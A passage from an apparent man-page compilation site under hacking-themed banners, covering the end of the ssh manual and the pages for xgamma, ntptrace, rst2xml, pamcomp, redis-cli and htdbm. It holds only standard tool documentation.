This is the per-user configuration file. The file format and configuration options are described in

Because of the potential for abuse, this file must have strict permissions: read/write for the user, and not writable by others. It may be group-writable provided that the group in question contains only the user.

Contains additional definitions for environment variables; see

above.

Contains the private key for authentication. These files contain sensitive data and should be readable by the user but not accessible by others (read/write/execute).

will simply ignore a private key file if it is accessible by others. It is possible to specify a passphrase when generating the key which will be used to encrypt the sensitive part of this file using AES-128.

Contains the public key for authentication. These files are not sensitive and can (but need not) be readable by anyone.

Contains a list of host keys for all hosts the user has logged into that are not already in the systemwide list of known host keys. See

for further details of the format of this file.

Commands in this file are executed by

when the user logs in, just before the user’s shell (or command) is started. See the

manual page for more information.

This file is for host-based authentication (see above). It should only be writable by root.

This file is used in exactly the same way as

but allows host-based authentication without permitting login with rlogin/rsh.

Systemwide configuration file. The file format and configuration options are described in

These files contain the private parts of the host keys and are used for host-based authentication.

Systemwide list of known host keys. This file should be prepared by the system administrator to contain the public host keys of all machines in the organization. It should be world-readable. See

for further details of the format of this file.

Commands in this file are executed by

when the user logs in, just before the user’s shell (or command) is started. See the

manual page for more information.

exits with the exit status of the remote command or with 255 if an error occurred.

OpenSSH is a derivative of the original and free ssh 1.2.12 release by Tatu Ylonen. Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, Theo de Raadt and Dug Song removed many bugs, re-added newer features and created OpenSSH. Markus Friedl contributed the support for SSH protocol versions 1.5 and 2.0.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

595 - Linux cli command xgamma

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xgamma and provides detailed information about the command xgamma, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xgamma.

NAME 🖥️ xgamma 🖥️

Alter a monitor’s gamma correction through the X server

SYNOPSIS

xgamma [-display display] [-screen screen] [-quiet] [-version] [-gamma f.f | [[-rgamma f.f] [-ggamma f.f] [-bgamma f.f]]]

DESCRIPTION

xgamma allows X users to query and alter the gamma correction of a monitor via the X video mode extension (XFree86-VidModeExtension).

Note that the xgamma utility is obsolete and deficient, xrandr should be used with drivers that support the XRandr extension.

If no value for the gamma correction is given via the -gamma or -rgamma/-ggamma/-bgamma options, xgamma prints the current gamma correction of the display.

OPTIONS

-display display
This argument allows you to specify the server to connect to; see X(7).

-screen screen
When multiple displays are configured as a single logical display, this option allows you to select the screen you wish to change.

-quiet
Silence the normal output of xgamma

-help
Print out the `Usage:’ command syntax summary.

-version
Print out the program version and exit.

-gamma f.f
The gamma correction can either be defined as a single value, or separately for the red, green and blue components. This argument specifies the gamma correction as a single value.

-rgamma f.f
This argument specifies the red component of the gamma correction.

-ggamma f.f
This argument specifies the green component of the gamma correction.

-bgamma f.f
This argument specifies the blue component of the gamma correction.

ENVIRONMENT

DISPLAY
To get default host and display number.

BUGS

This client changes the internal values of the gamma correction for the Xserver. Whether or not these values are respected depends on the video drivers.

The gamma values are passed to the Xserver with 3 decimal places of accuracy.

SEE ALSO

xvidtune(1), xrandr(1)

AUTHORS

Kaleb S. Keithley, X Consortium.
David Dawes, David Bateman

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

596 - Linux cli command ntptrace

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ntptrace and provides detailed information about the command ntptrace, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ntptrace.

NAME 🖥️ ntptrace 🖥️

trace peers of an NTP server

SYNOPSIS

ntptrace [-V | --version] [-n |--numeric]
    [-m number | --max-hosts=number]
    [-r host | --host=remote]
    hostname

DESCRIPTION

ntptrace is a python script that uses the ntpq utility program to follow the chain of NTP servers from a given host back to the primary time source.

For ntptrace to work properly, each of these servers must implement the NTP Control and Monitoring Protocol specified in RFC 1305 and enable NTP Mode 6 control packets. Nowadays it is usual for public timeservers to disable Mode 6 queries, so this script is unlikely to be very useful unless you have a collection of specially-configured timeservers on your LAN.

If given no arguments, ntptrace starts with localhost. Here is an example of the output from ntptrace:

% ntptrace localhost: stratum 4, offset 0.0019529, synch distance 0.144135 server2ozo.com: stratum 2, offset 0.0124263, synch distance 0.115784 usndh.edu: stratum 1, offset 0.0019298, synch distance 0.011993, refid GPS

On each line, the fields are (left to right): the host name, the host stratum, the time offset between that host and the local host (as measured by ntptrace; this is why it is not always zero for “localhost”), the host synchronization distance, and (only for stratum-1 servers) the reference clock ID. All times are given in seconds. Note that the stratum is the server hop count to the primary source, while the synchronization distance is the estimated error relative to the primary source. These terms are precisely defined in RFC 1305.

OPTIONS

-n, --numeric

Print IP addresses instead of hostnames.

Output hosts as dotted-quad numeric format rather than converting to the canonical host names.

-m number, --max-hosts=number

Maximum number of peers to trace. This option takes an integer number as its argument. The default number for this option is 99.

-r string, --host=string

Trace a single remote host.

-V, --version

Print the version string and exit.

EXIT STATUS

One of the following exit values will be returned:

0 (EXIT_SUCCESS)

Successful program execution.

1 (EXIT_FAILURE)

The operation failed or the invocation was not valid.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

597 - Linux cli command rst2xml

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rst2xml and provides detailed information about the command rst2xml, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rst2xml.

NAME 🖥️ rst2xml 🖥️

convert reST documents to XML

SYNOPSIS

rst2xml [options] [<source> [<destination>]]

DESCRIPTION

Generate Docutils-native XML documents from standalone reStructuredText sources < <https://docutils.sourceforge.io/docs/ref/doctree.html> >. Reads from <source> (default is stdin) and writes to <destination> (default is stdout). See <https://docutils.sourceforge.io/docs/user/config.html> for a detailed settings reference.

OPTIONS

General Docutils Options

–output=*****<destination>*
Output destination name. Obsoletes the <destination> positional argument. Default: None (stdout).

–title=*****<title>*
Specify the document title as metadata.

–generator,** -g**
Include a “Generated by Docutils” credit and link.

–no-generator
Do not include a generator credit.

–date,** -d**
Include the date at the end of the document (UTC).

–time,** -t**
Include the time & date (UTC).

–no-datestamp
Do not include a datestamp of any kind.

–root-prefix=*****<path>*
Base directory for absolute paths when reading from the local filesystem. Default “/”.

–source-link,** -s**
Include a “View document source” link.

–source-url=*****<URL>*
Use <URL> for a source link; implies –source-link.

–no-source-link
Do not include a “View document source” link.

–toc-entry-backlinks
Link from section headers to TOC entries. (default)

–toc-top-backlinks
Link from section headers to the top of the TOC.

–no-toc-backlinks
Disable backlinks to the table of contents.

–footnote-backlinks
Link from footnotes/citations to references. (default)

–no-footnote-backlinks
Disable backlinks from footnotes and citations.

–section-numbering
Enable section numbering by Docutils. (default)

–no-section-numbering
Disable section numbering by Docutils.

–strip-comments
Remove comment elements from the document tree.

–leave-comments
Leave comment elements in the document tree. (default)

–strip-elements-with-class=*****<class>*
Remove all elements with classes="<class>" from the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–strip-class=*****<class>*
Remove all classes="<class>" attributes from elements in the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–report=<level>, -r* <level>*
Report system messages at or higher than <level>: “info” or “1”, “warning”/“2” (default), “error”/“3”, “severe”/“4”, “none”/“5”

–verbose, -v
Report all system messages. (Same as “–report=1”.)

–quiet, -q
Report no system messages. (Same as “–report=5”.)

–halt=*****<level>*
Halt execution at system messages at or above <level>. Levels as in –report. Default: 4 (severe).

–strict
Halt at the slightest problem. Same as “–halt=info”.

–exit-status=*****<level>*
Enable a non-zero exit status for non-halting system messages at or above <level>. Default: 5 (disabled).

–debug
Enable debug-level system messages and diagnostics.

–no-debug
Disable debug output. (default)

–warnings=*****<file>*
Send the output of system messages to <file>.

–traceback
Enable Python tracebacks when Docutils is halted.

–no-traceback
Disable Python tracebacks. (default)

–input-encoding=<name[:handler]>, -i* <name[:handler]>*
Specify the encoding and optionally the error handler of input text. Default: <auto-detect>:strict.

–input-encoding-error-handler=****INPUT_ENCODING_ERROR_HANDLER
Specify the error handler for undecodable characters. Choices: “strict” (default), “ignore”, and “replace”.

–output-encoding=<name[:handler]>, -o* <name[:handler]>*
Specify the text encoding and optionally the error handler for output. Default: utf-8:strict.

–output-encoding-error-handler=****OUTPUT_ENCODING_ERROR_HANDLER
Specify error handler for unencodable output characters; “strict” (default), “ignore”, “replace”, “xmlcharrefreplace”, “backslashreplace”.

–error-encoding=<name[:handler]>, -e* <name[:handler]>*
Specify text encoding and optionally error handler for error output. Default text encoding: system encoding. Default error handler: backslashreplace.

–error-encoding-error-handler=****ERROR_ENCODING_ERROR_HANDLER
Specify the error handler for unencodable characters in error output. Default: backslashreplace.

–language=<name>, -l* <name>*
Specify the language (as BCP 47 language tag). Default: en.

–record-dependencies=*****<file>*
Write output file dependencies to <file>.

–config=*****<file>*
Read configuration settings from <file>, if it exists.

–version,** -V**
Show this program’s version number and exit.

–help,** -h**
Show this help message and exit.

Generic Parser Options

–no-file-insertion
Disable directives that insert the contents of an external file; replaced with a “warning” system message.

–file-insertion-enabled
Enable directives that insert the contents of an external file. (default)

–no-raw
Disable the “raw” directive; replaced with a “warning” system message.

–raw-enabled
Enable the “raw” directive. (default)

–line-length-limit=*****<length>*
Maximal number of characters in an input line. Default 10 000.

reStructuredText Parser Options

–pep-references
Recognize and link to standalone PEP references (like “PEP 258”).

–pep-base-url=*****<URL>*
Base URL for PEP references (default " <https://peps.python.org/> “).

–pep-file-url-template=*****<URL>*
Template for PEP file part of URL. (default “pep-%04d”)

–rfc-references
Recognize and link to standalone RFC references (like “RFC 822”).

–rfc-base-url=*****<URL>*
Base URL for RFC references (default " <https://tools.ietf.org/html/> “).

–tab-width=*****<width>*
Set number of spaces for tab expansion (default 8).

–trim-footnote-reference-space
Remove spaces before footnote references.

–leave-footnote-reference-space
Leave spaces before footnote references.

–syntax-highlight=*****<format>*
Token name set for parsing code with Pygments: one of “long”, “short”, or “none” (no parsing). Default is “long”.

–smart-quotes=*****<yes/no/alt>*
Change straight quotation marks to typographic form: one of “yes”, “no”, “alt[ernative]” (default “no”).

–smartquotes-locales=*****<language:quotes[,language:quotes,…]>*
Characters to use as “smart quotes” for <language>.

–word-level-inline-markup
Inline markup recognized at word boundaries only (adjacent to punctuation or whitespace). Force character-level inline markup recognition with "” (backslash + space). Default.

–character-level-inline-markup
Inline markup recognized anywhere, regardless of surrounding characters. Backslash-escapes must be used to avoid unwanted markup recognition. Useful for East Asian languages. Experimental.

Standalone Reader Options

–no-doc-title
Disable the promotion of a lone top-level section title to document title (and subsequent section title to document subtitle promotion; enabled by default).

–no-doc-info
Disable the bibliographic field list transform (enabled by default).

–section-subtitles
Activate the promotion of lone subsection titles to section subtitles (disabled by default).

–no-section-subtitles
Deactivate the promotion of lone subsection titles.

“Docutils XML” Writer Options

–newlines
Generate XML with newlines before and after tags.

–indents
Generate XML with indents and newlines.

–no-xml-declaration
Omit the XML declaration. Use with caution.

–no-doctype
Omit the DOCTYPE declaration.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

598 - Linux cli command pamcomp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamcomp and provides detailed information about the command pamcomp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamcomp.

.

NAME 🖥️ pamcomp 🖥️

composite (overlay) two Netpbm images together

SYNOPSIS

pamcomp

[-align={left | center | right | beyondleft | beyondright}] [-valign={top | middle | bottom| above | below}] [-xoff=X] [-yoff=Y] [-alpha=alpha-pgmfile] [-invert] [-opacity=opacity] [-mixtransparency] [-linear] overlay_file [underlying_file [output_file]]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamcomp reads two images and produces a composite image with one of the images overlayed on top of the other, possible translucently. The images need not be the same size. The input and outputs are Netpbm format image files.

In its simplest use, pamcomp simply places the image in the file overlay_file on top of the image in the file underlying_file, blocking out the part of underlying_file beneath it.

If you add the -alpha option, then pamcomp uses the image in file alpha-pgmfile as a transparency mask, which means it determines the level of transparency of each point in the overlay image. The transparency mask must have the same dimensions as the overlay image. In places where the transparency mask defines the overlay image to be opaque, the composite output contains only the contents of the overlay image; the underlying image is totally blocked out. In places where the transparency mask defines the overlay image to be transparent, the composite output contains none of the overlay image; the underlying image shows through completely. In places where the transparency mask shows a value in between opaque and transparent (translucence), the composite image contains a mixture of the overlay image and the underlying image and the level of translucence determines how much of each.

The transparency mask is a PGM file in which a white pixel represents opaqueness and a black pixel transparency. Anything in between is translucent. (Like any Netpbm program, pamcomp will see a PBM file as if it is PGM).

If the overlay image is a PAM image of tuple type RGB_ALPHA or GRAYSCALE_ALPHA, then the overlay image contains transparency information itself and pamcomp uses it the same way as the transparency mask described above. If you supply both an overlay image that has transparency information and a transparency mask, pamcomp multiplies the two opacities to get the opacity of the overlay pixel.

Before Netpbm 10.25 (October 2004), pamcomp did not recognize the transparency information in a PAM image – it just ignored it. So people had to make appropriate transparency masks in order to have a non-opaque overlay. Some Netpbm programs that convert from image formats that contain transparency information are not able to create RGB_ALPHA or GRAYSCALE_ALPHA PAM output, so you have to use the old method – extract the transparency information from the original into a separate transparency mask and use that as input to pamcomp.

The output image is always of the same dimensions as the underlying image. pamcomp uses only parts of the overlay image that fit within the underlying image.

The output image is a PAM image. Its tuples are color, grayscale, or black and white, whichever is the “highest” format between the two input images. The maxval of the output is the least common multiple of the maxvals of the input, up to the maximum possible PAM maxval, 65535.

The output has an opacity channel if and only if the underlying image does, and then the opacities are as described under the -mixtransparency option. Before Netpbm 10.56 (September 2011), the output never has an opacity channel.

To specify where on the underlying image to place the overlay image, use the -align, -valign, -xoff, and -yoff options. Without these options, the default horizontal position is flush left and the default vertical position is flush top.

The overlay image, in the position you specify, need not fit entirely within the underlying image. pamcomp uses only the parts of the overlay image that appear above the underlying image. It is possible to specify positioning such that none of the overlay image is over the underlying image – i.e. the overlay is out of frame. If you do that, pamcomp issues a warning.

The overlay and underlying images may be of different formats (e.g. overlaying a PBM text image over a full color PPM image) and have different maxvals. The output image has the more general of the two input formats and a maxval that is the least common multiple the two maxvals (or the maximum maxval allowable by the format, if the LCM is more than that).

ARGUMENTS

The overlay_file argument is the name of the file containing the overly image, while underlying_file is the name of the file containing the underlying image. For either, you may specify ‘-’ to indicate Standard Input, and underlying file defaults to Standard Input. Make sure you aren’t specifying (or defaulting) Standard Input as both.

Note that there may be a third input file, identified by an -alphafile option.

The output_file argument is the name of the file to which pamcomp writes the output, creating or truncating it first. You may specify ‘-’ to indicate Standard Output, in which case pamcomp does not truncate it. Note that pamcomp is unusual among Netpbm programs, as a historical accident, in having an output file argument; Netpbm programs normally write to Standard Output only.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamcomp recognizes the following command line options:

**-align=**alignment
This option selects the basic horizontal position of the overlay image with respect to the underlying image, in syntax reminiscent of HTML. left means flush left, center means centered, and right means flush right.

The -xoff option modifies this position.

beyondleft means just out of frame to the left – the right edge of the overlay is flush with the left edge of the underlying image. beyondright means just out of frame to the right. These alignments are useful only if you add a -xoff option. These two values were added in Netpbm 10.10 (October 2002).

The default is left.

**-valign=**alignment
This option selects the basic vertical position of the overlay image with respect to the underlying image, in syntax reminiscent of HTML. top means flush top, middle means centered, and bottom means flush bottom.

The -yoff option modifies this position.

above means just out of frame to the top – the bottom edge of the overlay is flush with the top edge of the underlying image. below means just out of frame to the bottom. These alignments are useful only if you add a -yoff option. These two values were added in Netpbm 10.10 (October 2002).

The default is top.

**-xoff=**x
This option modifies the horizontal positioning of the overlay image with respect to the underlying image as selected by the -align option. pamcomp shifts the overlay image from that basic position x pixels to the right. x can be negative to indicate shifting to the left.

The overlay need not fit entirely (or at all) on the underlying image. pamcomp uses only the parts that lie over the underlying image.

Before Netpbm 10.10 (October 2002), -xoff was mutually exclusive with -align and always measured from the left edge.

**-yoff=**y
This option modifies the vertical positioning of the overlay image with respect to the underlying image as selected by the -valign option. pamcomp shifts the overlay image from that basic position y pixels downward. y can be negative to indicate shifting upward.

The overlay need not fit entirely (or at all) on the underlying image. pamcomp uses only the parts that lie over the underlying image.

Before Netpbm 10.10 (October 2002), -xoff was mutually exclusive with -valign and always measured from the top edge.

**-alpha=**alpha-pgmfile
This option names a file that contains the transparency mask. If you don’t specify this option, there is no transparency mask, which is equivalent to having a transparency mask specify total opaqueness everywhere.

You can specify - as the value of this option and the transparency mask will come from Standard Input. If you do this, don’t specify Standard Input as the source of any other input image.

-invert
This option inverts the sense of the values in the transparency mask, which effectively switches the roles of the overlay image and the underlying image in places where the two intersect.

**-opacity=**opacity
This option tells how opaque the overlay image is to be, i.e. how much of the composite image should be from the overlay image, as opposed to the underlying image. opacity is a floating point number, with 1.0 meaning the overlay image is totally opaque and 0.0 meaning it is totally transparent. The default is 1.0.

If you specify a transparency mask (the -alpha option), pamcomp uses the product of the opacity indicated by the transparency mask (as modified by the -invert option, as a fraction, and this opacity value. The -invert option does not apply to this opacity value.

As a simple opacity value, the value makes sense only if it is between 0 and 1, inclusive. However, pamcomp accepts all values and performs the same arithmetic computation using whatever value you provide. An opacity value less than zero means the underlay image is intensified and then the overlay image is “subtracted” from it. An opacity value greater than unity means the overlay image is intensified and the underlay image subtracted from it. In either case, pamcomp clips the resulting color component intensities so they are nonnegative and don’t exceed the output image’s maxval.

This may seem like a strange thing to do, but it has uses. You can use it to brighten or darken or saturate or desaturate areas of the underlay image. See ** this description**(1) of the technique.

This option was added in Netpbm 10.6 (July 2002). Before Netpbm 10.15 (April 2003), values less than zero or greater than unity were not allowed.

-mixtransparency
This option controls what pamcomp does where both the underlying and overlay image are non-opaque.

By default, the output image has the same transparency as the underlying image and the transparency of the underlying image has no effect on the composition of color.

But with this option, pamcomp composes the image according to a plastic transparency metaphor: the underlying and overlay images are plastic slides. The output image is the slide you get when you stack up those two slides. So the transparency of the output is a combination of the transparency of the inputs and the transparency of the underlying image affects the underlying image’s contribution to the output image’s color.

Unlike the metaphorical slide, a PAM pixel has a color even where it is completely transparent, so pamcomp departs from the metaphor in that case and makes the output color identical to the underlying image.

This option was new in Netpbm 10.56 (September 2011). Before that, the output is always opaque and the pamcomp ignores the transparency of the underlying image.

-linear
This option indicates that the inputs are not true Netpbm images but rather a light-intesity-proportional variation. This is relevant only when you mix pixels, using the -opacity option or a transparency mask (the -alpha option).

The transparency mask and -opacity values indicate a fraction of the light intensity of a pixel. But the PNM and PNM-equivalent PAM image formats represent intensities with gamma-adjusted numbers that are not linearly proportional to intensity. So pamcomp, by default, performs a calculation on each sample read from its input and each sample written to its output to convert between these gamma-adjusted numbers and internal intensity-proportional numbers.

Sometimes you are not working with true PNM or PAM images, but rather a variation in which the sample values are in fact directly proportional to intensity. If so, use the -linear option to tell pamcomp this. pamcomp then will skip the conversions.

The conversion takes time. And the difference between intensity-proportional values and gamma-adjusted values may be small enough that you would barely see a difference in the result if you just pretended that the gamma-adjusted values were in fact intensity-proportional. So just to save time, at the expense of some image quality, you can specify -linear even when you have true PPM input and expect true PPM output.

For the first 13 years of Netpbm’s life, until Netpbm 10.20 (January 2004), pamcomp’s predecessor pnmcomp always treated the PPM samples as intensity-proportional even though they were not, and drew few complaints. So using -linear as a lie is a reasonable thing to do if speed is important to you.

Another technique to consider is to convert your PNM image to the linear variation with pnmgamma, run pamcomp on it and other transformations that like linear PNM, and then convert it back to true PNM with pnmgamma -ungamma. pnmgamma is often faster than pamcomp in doing the conversion.

SEE ALSO

pammixmulti.html(1) mixes together two or more images of the same size, in various ways.

ppmmix(1) and pnmpaste(1) are simpler, less general versions of the same tool.

ppmcolormask(1) and pbmmask(1) , and pambackground(1) can help with generating a transparency mask.

pnmcomp(1) is an older program that runs faster, but has less function.

pnm(1)

HISTORY

pamcomp was new in Netpbm 10.21 (March 2004). Its predecessor, pnmcomp, was one of the first programs added to Netpbm when the project went global in 1993.

AUTHOR

Copyright (C) 1992 by David Koblas ([email protected]).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamcomp.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

599 - Linux cli command redis-cli

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command redis-cli and provides detailed information about the command redis-cli, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the redis-cli.

NAME 🖥️ redis-cli 🖥️

cli - Command-line client to redis-server

SYNOPSIS

redis-cli [options]

DESCRIPTION

Redis is a key-value database. It is similar to memcached but the dataset is not volatile and other datatypes (such as lists and sets) are natively supported.

redis-cli provides a simple command-line interface to a Redis server.

OPTIONS

See redis-doc for more information on the commands Redis accepts.

AUTHOR

redis-cli was written by Salvatore Sanfilippo.

This manual page was written by Chris Lamb <[email protected]> for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

600 - Linux cli command htdbm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command htdbm and provides detailed information about the command htdbm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the htdbm.

\1

\1

NAME 🖥️ htdbm 🖥️

Manipulate DBM password databases

SYNOPSIS

htdbm [ -TDBTYPE ] [ -i ] [ -c ] [ -m | -B | -d | -s | -p ] [ -C cost ] [ -t ] [ -v ] filename username

htdbm -b [ -TDBTYPE ] [ -c ] [ -m | -B | -d | -s | -p ] [ -C cost ] [ -t ] [ -v ] filename username password

htdbm -n [ -i ] [ -c ] [ -m | -B | -d | -s | -p ] [ -C cost ] [ -t ] [ -v ] username

htdbm -nb [ -c ] [ -m | -B | -d | -s | -p ] [ -C cost ] [ -t ] [ -v ] username password

htdbm -v [ -TDBTYPE ] [ -i ] [ -c ] [ -m | -B | -d | -s | -p ] [ -C cost ] [ -t ] [ -v ] filename username

htdbm -vb [ -TDBTYPE ] [ -c ] [ -m | -B | -d | -s | -p ] [ -C cost ] [ -t ] [ -v ] filename username password

htdbm -x [ -TDBTYPE ] filename username

htdbm -l [ -TDBTYPE ]

SUMMARY

htdbm is used to manipulate the DBM format files used to store usernames and password for basic authentication of HTTP users via mod_authn_dbm. See the dbmmanage documentation for more information about these DBM files.

OPTIONS

-b
Use batch mode; i.e., get the password from the command line rather than prompting for it. This option should be used with extreme care, since the password is clearly visible on the command line. For script use see the -i option.

-i
Read the password from stdin without verification (for script usage).

-c
Create the passwdfile. If passwdfile already exists, it is rewritten and truncated. This option cannot be combined with the -n option.

-n
Display the results on standard output rather than updating a database. This option changes the syntax of the command line, since the passwdfile argument (usually the first one) is omitted. It cannot be combined with the -c option.

-m
Use MD5 hashing for passwords. On Windows and Netware, this is the default.

-B
Use bcrypt hashing for passwords. This is currently considered to be very secure.

-C
This flag is only allowed in combination with -B (bcrypt hashing). It sets the computing time used for the bcrypt algorithm (higher is more secure but slower, default: 5, valid: 4 to 31).

-d
Use crypt() hashing for passwords. The default on all platforms but Windows and Netware. Though possibly supported by htdbm on all platforms, it is not supported by the httpd server on Windows and Netware. This algorithm is insecure by today’s standards.

-s
Use SHA hashing for passwords. Facilitates migration from/to Netscape servers using the LDAP Directory Interchange Format (ldif). This algorithm is insecure by today’s standards.

-p
Use plaintext passwords. Though htdbm will support creation on all platforms, the httpd daemon will only accept plain text passwords on Windows and Netware.

-l
Print each of the usernames and comments from the database on stdout.

-v
Verify the username and password. The program will print a message indicating whether the supplied password is valid. If the password is invalid, the program exits with error code 3.

-x
Delete user. If the username exists in the specified DBM file, it will be deleted.

-t
